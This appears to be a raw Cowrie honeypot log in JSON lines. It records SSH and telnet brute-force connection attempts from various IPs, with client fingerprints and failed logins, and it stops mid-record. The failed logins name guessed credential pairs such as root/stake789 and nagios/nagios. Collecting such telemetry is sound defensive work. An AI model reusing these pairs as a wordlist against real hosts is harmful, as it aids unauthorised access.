{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:50.139019Z","src_ip":"175.118.127.138","session":"94220da6fb6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":56710,"dst_ip":"10.17.0.5","dst_port":22,"session":"d89932e1be68","protocol":"ssh","message":"New connection: 91.92.40.4:56710 (10.17.0.5:22) [session: d89932e1be68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:52.846392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:52.864713Z","src_ip":"91.92.40.4","session":"d89932e1be68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:52.930715Z","src_ip":"91.92.40.4","session":"d89932e1be68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:53.456905Z","src_ip":"91.92.40.4","session":"d89932e1be68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.837979793548584,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:53.627933Z","src_ip":"170.64.224.25","session":"6f1c8cc421b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:27:54.590608Z","src_ip":"91.92.40.4","session":"d89932e1be68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.1813006401062,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:28:13.375961Z","src_ip":"170.64.224.25","session":"916597c75e2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.57085418701172,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:28:18.147899Z","src_ip":"170.64.224.25","session":"5effa8594458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.64328217506409,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:28:31.477306Z","src_ip":"170.64.224.25","session":"5e7bd4dccf23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":46094,"dst_ip":"10.17.0.5","dst_port":22,"session":"532bbe16a9c1","protocol":"ssh","message":"New connection: 38.242.143.220:46094 (10.17.0.5:22) [session: 532bbe16a9c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:28:35.534673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:28:35.539102Z","src_ip":"38.242.143.220","session":"532bbe16a9c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:28:35.651000Z","src_ip":"38.242.143.220","session":"532bbe16a9c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stake789","message":"login attempt [root/stake789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:28:36.003057Z","src_ip":"38.242.143.220","session":"532bbe16a9c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:28:37.105146Z","src_ip":"38.242.143.220","session":"532bbe16a9c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.87514662742615,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:28:55.654227Z","src_ip":"170.64.224.25","session":"4a0df0474d61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53006,"dst_ip":"159.203.135.109","dst_port":23,"session":"24f71ae28803","protocol":"telnet","message":"New connection: 170.64.224.25:53006 (159.203.135.109:23) [session: 24f71ae28803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:28:57.794983Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":6217,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bfd495cc9be","protocol":"ssh","message":"New connection: 178.20.210.208:6217 (159.203.135.109:22) [session: 8bfd495cc9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:28:59.772702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:00.099220Z","src_ip":"178.20.210.208","session":"8bfd495cc9be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:00.104809Z","src_ip":"178.20.210.208","session":"8bfd495cc9be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ2wxx","message":"login attempt [root/1QAZ2wxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:00.532241Z","src_ip":"178.20.210.208","session":"8bfd495cc9be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:01.633776Z","src_ip":"178.20.210.208","session":"8bfd495cc9be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":40456,"dst_ip":"159.203.135.109","dst_port":22,"session":"831821062390","protocol":"ssh","message":"New connection: 89.223.69.22:40456 (159.203.135.109:22) [session: 831821062390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:12.580995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:12.584586Z","src_ip":"89.223.69.22","session":"831821062390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:12.693777Z","src_ip":"89.223.69.22","session":"831821062390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01012005","message":"login attempt [root/01012005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:13.023282Z","src_ip":"89.223.69.22","session":"831821062390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:14.139128Z","src_ip":"89.223.69.22","session":"831821062390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":60178,"dst_ip":"10.17.0.5","dst_port":22,"session":"f375429d3a4e","protocol":"ssh","message":"New connection: 5.182.83.231:60178 (10.17.0.5:22) [session: f375429d3a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:20.445784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:20.449108Z","src_ip":"5.182.83.231","session":"f375429d3a4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:20.559336Z","src_ip":"5.182.83.231","session":"f375429d3a4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe$%^uio","message":"login attempt [root/qwe$%^uio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:21.034506Z","src_ip":"5.182.83.231","session":"f375429d3a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:22.148959Z","src_ip":"5.182.83.231","session":"f375429d3a4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":53666,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a51a9652cd0","protocol":"ssh","message":"New connection: 175.118.127.138:53666 (159.203.135.109:22) [session: 0a51a9652cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:26.593682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:26.597368Z","src_ip":"175.118.127.138","session":"0a51a9652cd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:26.777112Z","src_ip":"175.118.127.138","session":"0a51a9652cd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@1234567890","message":"login attempt [root/Abc@1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:27.533865Z","src_ip":"175.118.127.138","session":"0a51a9652cd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:28.716470Z","src_ip":"175.118.127.138","session":"0a51a9652cd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":48226,"dst_ip":"10.17.0.5","dst_port":22,"session":"2259fface2c2","protocol":"ssh","message":"New connection: 91.92.40.4:48226 (10.17.0.5:22) [session: 2259fface2c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:29.620614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:29.625666Z","src_ip":"91.92.40.4","session":"2259fface2c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:29.717792Z","src_ip":"91.92.40.4","session":"2259fface2c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:30.120260Z","src_ip":"91.92.40.4","session":"2259fface2c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:31.204804Z","src_ip":"91.92.40.4","session":"2259fface2c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":58682,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8d2693412ee","protocol":"ssh","message":"New connection: 195.86.192.66:58682 (10.17.0.5:22) [session: a8d2693412ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:31.331240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:29:31.335400Z","src_ip":"195.86.192.66","session":"a8d2693412ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 